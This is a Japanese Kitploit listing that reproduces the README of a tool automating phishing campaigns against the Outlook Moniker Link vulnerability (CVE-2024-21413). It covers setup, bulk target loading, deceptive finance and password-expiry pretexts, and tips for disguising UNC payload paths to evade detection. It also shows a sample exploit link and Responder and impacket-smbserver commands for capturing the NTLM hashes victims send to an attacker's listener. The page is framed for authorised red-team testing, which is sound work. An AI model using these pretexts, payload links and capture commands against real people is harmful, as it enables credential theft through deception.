Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
Blind-Trust-CVE-2024-21413-Research — CVE-2024-21413(Moniker Link)を利用した標的型フィッシングキャンペーンをシミュレートするためのセキュリティリサーチツール。 | Kitploit
ツール/GitHubGitHub/h1ssbl1tz/blind-trust-cve-2024-21413-research
フィッシングツール脆弱性分析エクスプロイトフィッシングペネトレーションテストソーシャルエンジニアリング学習と教育レッドチーミングメールセキュリティ

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
ラボと実践
GitHubh1ssbl1tz/blind-trust-cve-2024-21413-research

Blind-Trust-CVE-2024-21413-Research

CVE-2024-21413(Moniker Link)を利用した標的型フィッシングキャンペーンをシミュレートするためのセキュリティリサーチツール。

リポジトリを見る
1ヶ月前未レビュー

BLIND TRUST - Moniker Link フィッシングエンゲージメントフレームワーク

CVE-2024-21413 Moniker Link 脆弱性を利用した、標的型フィッシングキャンペーンをシミュレートするためのセキュリティ研究ツールです。許可を得たレッドチーム運用、ペネトレーションテスト、セキュリティ意識向上トレーニング向けに設計されています。

概要

BLIND TRUST は、セキュリティチームが高度な電子メールベースの攻撃に対する防御を理解しテストするのに役立つフィッシングエンゲージメントフレームワークです。Moniker Link 技術を利用して Outlook の Protected View をバイパスし、組織がセキュリティ体制を強化するために使用できる現実的な攻撃シミュレーションを提供します。

このツールは、設定からメール配信までのキャンペーンワークフロー全体を自動化し、カスタマイズ可能な UNC パスと柔軟な pretext オプションによって運用上のセキュリティを維持します。

目的

組織が効果的に防御するには、実際の攻撃手法を理解する必要があります。TRUST は以下を可能にします:

  • レッドチーム運用 - セキュリティ評価の一環として許可されたフィッシングキャンペーンを実施
  • セキュリティ意識向上トレーニング - 実際の攻撃ベクトルを従業員にデモンストレーション
  • 脆弱性検証 - 既知の手法に対する検出能力をテスト
  • 防御研究 - 自社環境での Moniker Link の動作を理解

特徴

  • 複数ターゲットキャンペーン - 単一の設定で複数のターゲットにフィッシングメールを送信
  • 柔軟なターゲット読み込み - 対話式入力またはワードリスト形式の .txt ファイルからターゲットを読み込み
  • カスタマイズ可能な pretext - メールの件名、送信者表示名、本文を制御
  • 紛らわしい UNC パス - Moniker Link パスを現実的に見せかけるようカスタマイズ(ドメイン、共有名、エクスプロイト名)
  • SMTP 認証 - TLS ネゴシエーションによる各種 SMTP サーバーのサポート
  • 自動リトライロジック - 一時的な SMTP 障害に対する指数バックオフ
  • キャンペーンレポート - ターゲットごとの配信ステータスと集計結果
  • ハードコードされたシグネチャなし - 技術を露呈する明らかな指標を排除

インストール

要件

  • Python 3.7+
  • 標準ライブラリのみ(外部依存なし)

セットアップ

root@kitploit:~
# Clone the repository
git clone https://github.com/h1ssbl1tz/Blind-Trust.git
cd TRUST

# Run the tool
python3 TRUST_v7.py

要件

このツールは Python 標準ライブラリのモジュールのみを使用します:

root@kitploit:~
getpass      - Secure password input
html         - HTML escaping
ipaddress    - IP address validation
logging      - Structured logging
os           - File operations
re           - Regular expressions
signal       - Signal handling
smtplib      - SMTP email protocol
sys          - System utilities
time         - Time operations
dataclasses  - Configuration modeling
email        - MIME email construction
typing       - Type hints

外部パッケージは不要です。Python 3.7+ があればどこでも実行できます。

クイックスタート

root@kitploit:~
python3 TRUST_v7.py

対話式ウィザードに従って 5 つのステップを実行します:

  1. 攻撃者資格情報 - メール送信に使用する SMTP アカウント
  2. SMB リスナー設定 - ターゲットが接続する IP アドレス
  3. ターゲット設定 - 入力またはワードリストファイルから被害者を読み込み
  4. メールのカスタマイズ - 件名、送信者名、本文
  5. ペイロードのカスタマイズ - UNC パスのホスト、共有、エクスプロイト名

使用例

例 1: 対話式入力(小規模キャンペーン)

root@kitploit:~
Load targets from [f]ile or [i]nput directly?: i
Target email address(es): [email protected], [email protected]

Email subject [Security Update Required]: Urgent: Password Expiration Notice
Display name (From field) [Microsoft Security Center]: IT Security Team
Email body text: Your password expires in 24 hours. Please update immediately.

UNC host (IP or domain) [192.168.1.100]: it-internal.company.com
UNC share name [updates]: patches
UNC exploit name [patch]: kb_security_2024

例 2: ワードリスト読み込み(大規模キャンペーン)

targets.txt を作成します:

root@kitploit:~
# Finance Department
[email protected]
[email protected]
[email protected]

# Accounting
[email protected]
[email protected]

次に実行します:

root@kitploit:~
Load targets from [f]ile or [i]nput directly?: f
Path to targets file: targets.txt
[+] Loaded 5 target(s) from targets.txt

例 3: 現実的な財務 pretext

root@kitploit:~
Email subject: Q3 Financial Review - Action Required
Display name: Finance Operations Team
Email body: Please review the attached Q3 financial statement and provide approval.

UNC host: finance-internal.company.com
UNC share: quarterly
UNC exploit: q3_financial_report

Generated UNC path: file://finance-internal.company.com/quarterly!q3_financial_report

設定の説明

ステップ 1: 攻撃者資格情報

  • 攻撃者メール: フィッシングメールの送信に使用するメールアドレス(通常は侵害またはスプーフィングされたアカウント)
  • SMTP パスワード: メールサーバーの認証資格情報

ステップ 2: SMB リスナー

  • SMB リスナー IP: SMB リスナー(例: Responder、impacket-smbserver)が稼働している IP アドレス。ターゲットが Moniker Link をクリックすると、ここへの接続が試みられます。

ステップ 3: ターゲット設定

2 つのオプションがあります:

  • 対話式入力: メールアドレスを直接貼り付け(カンマまたは改行区切り)
  • ワードリストファイル: 1 行に 1 メールアドレス、# で始まるコメントを記述した .txt ファイルから読み込み

ステップ 4: メールのカスタマイズ

  • 件名: メールの件名行(CVE への言及は避け、ビジネス風に保つ)
  • From 表示名: メールヘッダーに表示されるフレンドリ名
  • メール本文: ターゲットがリンクをクリックすべき理由を説明する pretext 文

ステップ 5: ペイロードのカスタマイズ

ここで明らかなシグネチャを回避します:

  • UNC ホスト: IP アドレスだけでなく、現実的なドメインまたはサブドメイン(例: finance-internal.company.com)を使用
  • UNC 共有: quarterly、updates、documents のような現実的な共有名
  • UNC エクスプロイト: q3_report、security_patch、training_document のような現実的なファイル名

結果: 明白な \\192.168.1.100\share!exploit の代わりに、file://finance-internal.company.com/quarterly!q3_report のようなものが得られます。

実行フロー

root@kitploit:~
Start
  ↓
[STEP 1] Prompt for attacker email and SMTP password
  ↓
[STEP 2] Prompt for SMB listener IP
  ↓
[STEP 3] Load target emails (file or input)
  ↓
     ↓→ For each target:
     │  - Validate email format
     │  - Check for duplicates
     │
[STEP 4] Prompt for email pretext
     │  - Subject, From name, body text
     │
[STEP 5] Prompt for UNC path customization
     │  - Host, share, exploit name
     │
  ↓
[BUILD] Construct configuration object
  ↓
[VALIDATE] Check all fields are present and valid
  ↓
[SUMMARY] Display pre-send summary for review
  ↓
[CONFIRM] User approves or cancels
  ↓
[SEND] For each target:
     │  - Build MIME email with custom Moniker Link
     │  - Attempt SMTP delivery with retry logic
     │  - Log per-target success/failure
     │
  ↓
[REPORT] Display campaign results (delivered vs failed)
  ↓
Exit

仕組み

脆弱性

CVE-2024-21413(Moniker Link)は、! 文字を含む file:// URL を埋め込むことを可能にする Outlook の脆弱性です。ユーザーがそのようなリンクをクリックすると、Outlook は UNC パスへのアクセスを試み、Protected View モードでも NTLM 認証試行を引き起こします。

攻撃フロー

  1. ユーザーが Moniker Link を含むメールを受信する
  2. メールは(カスタム pretext のおかげで)正当に見える
  3. ユーザーがリンクをクリックする
  4. Outlook が \\host\share!exploit へのアクセスを試みる
  5. ! 文字が Protected View をバイパスする
  6. ユーザーのシステムがあなたの SMB リスナーに対して認証する
  7. NTLM ハッシュまたは資格情報情報を取得する

このツールが行うこと

TRUST は配信フェーズを自動化します:

  • カスタム pretext を使用して現実的なメールを作成
  • Moniker Link を HTML ペイロードに注入
  • SMTP 接続とリトライを管理
  • 複数のターゲットを効率的に処理
  • キャンペーンレポートを提供

トラブルシューティング

問題: "SMTP attempt 3 failed: [SMTP: 535]"

解決策: SMTP 資格情報を確認してください。Gmail の場合はアプリ固有のパスワードを使用します。社内メールの場合は SMTP 管理者に確認してください。

問題: "TLS not supported. Proceeding without encryption."

解決策: 一部の SMTP サーバーでは正常です。接続は TLS 暗号化なしで続行されます。

問題: "Invalid email: victim@"

解決策: ワードリストファイル内のメールアドレスが完全で有効な形式([email protected])であることを確認してください。

問題: "Recipient rejected"

解決策: メールアドレスがターゲットサーバーに存在しないか、サーバーがアカウントからのリレーをブロックしています。

問題: "File not found: targets.txt"

解決策: ファイルパスが正しいこと、およびファイルが現在のディレクトリに存在することを確認してください。

よくある質問

Q: このツールは合法的に使用できますか? A: テスト対象組織からの明示的な書面による承認がある場合のみです。無断でのフィッシングは違法です。常に作業範囲(スコープ)と実施規則(ルール・オブ・エンゲージメント)を書面で交わしてください。

Q: 高度なメールフィルターをバイパスできますか? A: 現実的なシミュレーションですが、最新のメールセキュリティが検出する可能性は依然としてあります。それがポイントです。もし自組織のフィルターがこれに対して失敗するなら、解決すべき問題があるということです。

Q: なぜ UNC パスをカスタマイズするのですか? A: 元の \\IP\share!exploit は一目で分かってしまいます。実際の攻撃者は現実的なパスを使用します。セキュリティチームは明白な指標と微妙な指標の両方を検出できるべきです。

Q: 従業員のトレーニングに使用できますか? A: はい。許可を得たテストの後、匿名化したキャンペーン例をセキュリティ意識向上トレーニングで使用し、従業員に実際の攻撃手法を示してください。

Q: 資格情報を取得しますか? A: いいえ。TRUST はメールを配信するだけです。ターゲットがリンクをクリックしたときに NTLM ハッシュを取得するには、別の SMB リスナー(Responder、impacket-smbserver など)が必要です。

Q: SMB リスナーはどのようにセットアップしますか? A: Linux で Responder を使用するか、impacket-smbserver を使用します:

root@kitploit:~
# Responder (captures hashes)
sudo responder -i eth0 -v

# impacket-smbserver (file server simulation)
impacket-smbserver Share /tmp -smb2support

制限事項

  • 資格情報取得機能は組み込みなし: SMB リスナーは自分で用意します。TRUST はメールを配信するだけです
  • キャンペーンの永続化なし: 結果はコンソールに出力されます。保存するには標準出力をリダイレクトしてください
  • ターゲット情報の収集機能なし: ターゲットのメールアドレスは自分で収集する必要があります
  • メール難読化なし: UNC パスはカスタマイズ可能ですが、メールヘッダーは標準的な SMTP です
  • マルチスレッドなし: 信頼性のため、メールは順番に送信されます

免責事項

このツールは許可を得たセキュリティテスト専用です。

  • フィッシングキャンペーンを実施するには明示的な書面による許可が必須です
  • 無断使用は違法かつ非倫理的です
  • 自分が所有する、またはテスト許可を得たシステムに対してのみ、管理された環境で使用してください
  • 常に適用される法律と規制に従ってください
  • 作者はこのツールの誤用またはそれによって引き起こされた損害について一切の責任を負いません

TRUST を使用することで、法的な影響を理解し、適切な許可を得ていることを承認したことになります。

責任ある使用のための推奨事項

  1. 書面による承認を得る - キャンペーン開始前に署名済みの実施規則(ルール・オブ・エンゲージメント)を取得する
  2. ターゲットの範囲を定義する - どのシステムと人が範囲内かを明確にする
  3. 是正措置を計画する - フィッシング被害にあった従業員向けのトレーニング計画を準備する
  4. 結果を文書化する - 評価の詳細な記録を保持する
  5. 調査結果を報告する - 何が効果的だったかをステークホルダーにフィードバックする
  6. プライバシーを尊重する - 取得したデータをセキュリティプログラムの外部で使用しない

今後の改善予定

  • キャンペーンの永続化とファイルへのロギング
  • メール pretext 用のテンプレートシステム
  • ターゲット列挙のための LDAP 統合
  • より洗練されたメールのための HTML テンプレートレンダリング
  • キャンペーンスケジューリング(時間ベースの配信)
  • メトリクスと分析を備えたレポートダッシュボード
  • Moniker Link 以外のフィッシング手法のサポート

ライセンス

このプロジェクトは、利用制限を追加した MIT ライセンスの下で公開されています。詳細は LICENSE を参照してください。

クレジットと帰属

このプロジェクトは、CMNatic (https://github.com/cmnatic) による元の CVE-2024-21413 の研究と実装に基づき、それに触発されたものです。

CMNatic は以下の点で完全な功績があります:

  • 元の脆弱性研究と概念実証
  • コア技術実装
  • 初期の公開ドキュメント

このリポジトリはその作業の修正・拡張版であり、以下の拡張が含まれています:

  • 複数ターゲットキャンペーンのサポート
  • カスタマイズ可能なメール pretext
  • 紛らわしい UNC パスのカスタマイズ
  • ワードリストベースのターゲット読み込み
  • 改善された SMTP 処理とリトライロジック
  • 包括的なドキュメント

より詳細な帰属については CREDITS.md を参照してください。

作者

H1SS - セキュリティ研究および許可を得たテストを目的として、このバージョンを拡張およびメンテナンスしています。

貢献

貢献は歓迎します。変更を行う際は以下の点を確認してください:

  • ツールの教育的な焦点を維持する
  • 適切なドキュメントを含める
  • 責任ある開示の慣行に従う
  • 外部依存関係を導入しない

ガイドラインについては CONTRIBUTING.md を参照してください。

サポート

問題、質問、提案については、GitHub で issue を開いてください。


注意: このツールは研究プロジェクトです。責任を持って、合法的に、倫理的に使用してください。

ツールをダウンロード